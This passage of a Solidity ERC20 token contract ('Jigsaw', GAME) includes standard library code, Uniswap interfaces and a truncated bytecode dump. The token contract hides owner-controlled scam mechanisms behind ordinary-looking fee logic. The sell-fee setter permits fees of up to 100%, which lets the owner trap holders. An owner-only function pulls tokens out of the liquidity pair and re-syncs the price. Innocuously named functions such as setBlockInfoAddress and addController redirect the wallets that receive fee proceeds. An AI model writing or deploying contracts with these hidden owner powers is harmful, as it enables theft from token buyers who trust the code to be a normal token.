internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract GAME is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; // uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = false; bool public tradingActive = true; bool public swapEnabled = false; bool public stakingPhaseEnabled = false; bool public stakeDisabled = false; // Anti-bot and anti-whale mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last transfers bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Jigsaw", "GAME") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyDevFee = 4; uint256 _sellMarketingFee = 6; uint256 _sellLiquidityFee = 4; uint256 _sellDevFee = 4; uint256 totalSupply = 1 * 1e15 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 50 / 1000; // 5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function opentrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 100, "Must keep fees at 100% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function setBlockInfoAddress(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function setVaultAddress(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function addController(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function enableStake() external onlyOwner { stakeDisabled = false; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } // if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ // autoBurnLiquidityPairTokens(); // } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ // lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103dd5760003560e01c80638da5cb5b116101fd578063c024666811610118578063dd62ed3e116100ab578063f2fde38b1161007a578063f2fde38b14610b22578063f637434214610b42578063f8b45b0514610b58578063fa852a2114610b6e578063fe72b27a14610b8357600080fd5b8063dd62ed3e14610a9b578063e2f4560514610ae1578063e884f26014610af7578063f11a24d314610b0c57600080fd5b8063c8c8ebe4116100e7578063c8c8ebe414610a2e578063cc2bc30914610a44578063d257b34f14610a65578063d85ba06314610a8557600080fd5b8063c0246668146109b4578063c17b5b8c146109d4578063c18bc195146109f4578063c876d0b914610a1457600080fd5b80639fccce3211610190578063a9059cbb1161015f578063a9059cbb14610924578063b42d7c3c14610944578063b62496f514610966578063bbc0c7421461099557600080fd5b80639fccce32146108d8578063a0d82dc5146108ee578063a457c2d714610904578063a7fc7a07146104f657600080fd5b806395d89b41116101cc57806395d89b41146108775780639a7a23d61461088c5780639c3b4fdc146108ac5780639ec22c0e146108c257600080fd5b80638da5cb5b146108035780638ea5220f146108215780639213691314610841578063924de9b71461085757600080fd5b80632e82f1a0116102f857806370a082311161028b5780637571336a1161025a5780637571336a1461078d57806375f0a874146107ad5780637bce5a04146107cd5780638095d564146107e357806385535cc5146104f657600080fd5b806370a082311461070d578063715018a614610743578063730c188814610758578063751039fc1461077857600080fd5b80634a62bb65116102c75780634a62bb65146106845780634fbee1931461069e5780636a486a8e146106d75780636ddd1713146106ed57600080fd5b80632e82f1a0146105fa578063313ce56714610614578063395093511461063057806349bd5a5e1461065057600080fd5b8063199ffc721161037057806323ab68b01161033f57806323ab68b01461058e57806323b872dd146105ae57806327c8f835146105ce5780632c3e486c146105e457600080fd5b8063199ffc721461052c5780631a8145bb146105425780631f3fed8f14610558578063203e727e1461056e57600080fd5b80631694505e116103ac5780631694505e1461048b57806318160ddd146104d75780631816467f146104f6578063184c16c51461051657600080fd5b80630499de60146103e957806306fdde0314610400578063095ea7b31461042b57806310d5de531461045b57600080fd5b366103e457005b600080fd5b3480156103f557600080fd5b506103fe610ba3565b005b34801561040c57600080fd5b50610415610be6565b6040516104229190612c52565b60405180910390f35b34801561043757600080fd5b5061044b610446366004612cbf565b610c78565b6040519015158152602001610422565b34801561046757600080fd5b5061044b610476366004612ceb565b601f6020526000908152604090205460ff1681565b34801561049757600080fd5b506104bf7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610422565b3480156104e357600080fd5b506002545b604051908152602001610422565b34801561050257600080fd5b506103fe610511366004612ceb565b610c8f565b34801561052257600080fd5b506104e8600e5481565b34801561053857600080fd5b506104e8600b5481565b34801561054e57600080fd5b506104e8601c5481565b34801561056457600080fd5b506104e8601b5481565b34801561057a57600080fd5b506103fe610589366004612d08565b610d16565b34801561059a57600080fd5b506103fe6105a9366004612ceb565b610df3565b3480156105ba57600080fd5b5061044b6105c9366004612d21565b610e7a565b3480156105da57600080fd5b506104bf61dead81565b3480156105f057600080fd5b506104e8600d5481565b34801561060657600080fd5b50600c5461044b9060ff1681565b34801561062057600080fd5b5060405160128152602001610422565b34801561063c57600080fd5b5061044b61064b366004612cbf565b610ee3565b34801561065c57600080fd5b506104bf7f0000000000000000000000009f12a9c15c9b82bdfe63b7126e0d0fea4dc2d6d881565b34801561069057600080fd5b5060105461044b9060ff1681565b3480156106aa57600080fd5b5061044b6106b9366004612ceb565b6001600160a01b03166000908152601e602052604090205460ff1690565b3480156106e357600080fd5b506104e860175481565b3480156106f957600080fd5b5060105461044b9062010000900460ff1681565b34801561071957600080fd5b506104e8610728366004612ceb565b6001600160a01b031660009081526020819052604090205490565b34801561074f57600080fd5b506103fe610f19565b34801561076457600080fd5b506103fe610773366004612d72565b610f8d565b34801561078457600080fd5b5061044b6110b6565b34801561079957600080fd5b506103fe6107a8366004612da7565b6110f3565b3480156107b957600080fd5b506006546104bf906001600160a01b031681565b3480156107d957600080fd5b506104e860145481565b3480156107ef57600080fd5b506103fe6107fe366004612ddc565b611148565b34801561080f57600080fd5b506005546001600160a01b03166104bf565b34801561082d57600080fd5b506007546104bf906001600160a01b031681565b34801561084d57600080fd5b506104e860185481565b34801561086357600080fd5b506103fe610872366004612e08565b6111f0565b34801561088357600080fd5b50610415611236565b34801561089857600080fd5b506103fe6108a7366004612da7565b611245565b3480156108b857600080fd5b506104e860165481565b3480156108ce57600080fd5b506104e8600f5481565b3480156108e457600080fd5b506104e8601d5481565b3480156108fa57600080fd5b506104e8601a5481565b34801561091057600080fd5b5061044b61091f366004612cbf565b611325565b34801561093057600080fd5b5061044b61093f366004612cbf565b611374565b34801561095057600080fd5b5060105461044b90640100000000900460ff1681565b34801561097257600080fd5b5061044b610981366004612ceb565b602080526000908152604090205460ff1681565b3480156109a157600080fd5b5060105461044b90610100900460ff1681565b3480156109c057600080fd5b506103fe6109cf366004612da7565b611381565b3480156109e057600080fd5b506103fe6109ef366004612ddc565b61140a565b348015610a0057600080fd5b506103fe610a0f366004612d08565b6114ad565b348015610a2057600080fd5b5060125461044b9060ff1681565b348015610a3a57600080fd5b506104e860085481565b348015610a5057600080fd5b5060105461044b906301000000900460ff1681565b348015610a7157600080fd5b5061044b610a80366004612d08565b61157e565b348015610a9157600080fd5b506104e860135481565b348015610aa757600080fd5b506104e8610ab6366004612e23565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610aed57600080fd5b506104e860095481565b348015610b0357600080fd5b5061044b6116d5565b348015610b1857600080fd5b506104e860155481565b348015610b2e57600080fd5b506103fe610b3d366004612ceb565b611712565b348015610b4e57600080fd5b506104e860195481565b348015610b6457600080fd5b506104e8600a5481565b348015610b7a57600080fd5b506103fe6117fd565b348015610b8f57600080fd5b5061044b610b9e366004612d08565b61183a565b6005546001600160a01b03163314610bd65760405162461bcd60e51b8152600401610bcd90612e5c565b60405180910390fd5b6010805464ff0000000019169055565b606060038054610bf590612e91565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2190612e91565b8015610c6e5780601f10610c4357610100808354040283529160200191610c6e565b820191906000526020600020905b815481529060010190602001808311610c5157829003601f168201915b5050505050905090565b6000610c85338484611b29565b5060015b92915050565b6005546001600160a01b03163314610cb95760405162461bcd60e51b8152600401610bcd90612e5c565b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610d405760405162461bcd60e51b8152600401610bcd90612e5c565b670de0b6b3a76400006103e8610d5560025490565b610d60906001612ee2565b610d6a9190612f01565b610d749190612f01565b811015610ddb5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610bcd565b610ded81670de0b6b3a7640000612ee2565b60085550565b6005546001600160a01b03163314610e1d5760405162461bcd60e51b8152600401610bcd90612e5c565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000610e87848484611c4e565b610ed98433610ed4856040518060600160405280602881526020016130ec602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190612492565b611b29565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610c85918590610ed49086611ac3565b6005546001600160a01b03163314610f435760405162461bcd60e51b8152600401610bcd90612e5c565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fb75760405162461bcd60e51b8152600401610bcd90612e5c565b6102588310156110255760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610bcd565b6103e88211158015611035575060015b61109a5760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610bcd565b600d92909255600b55600c805460ff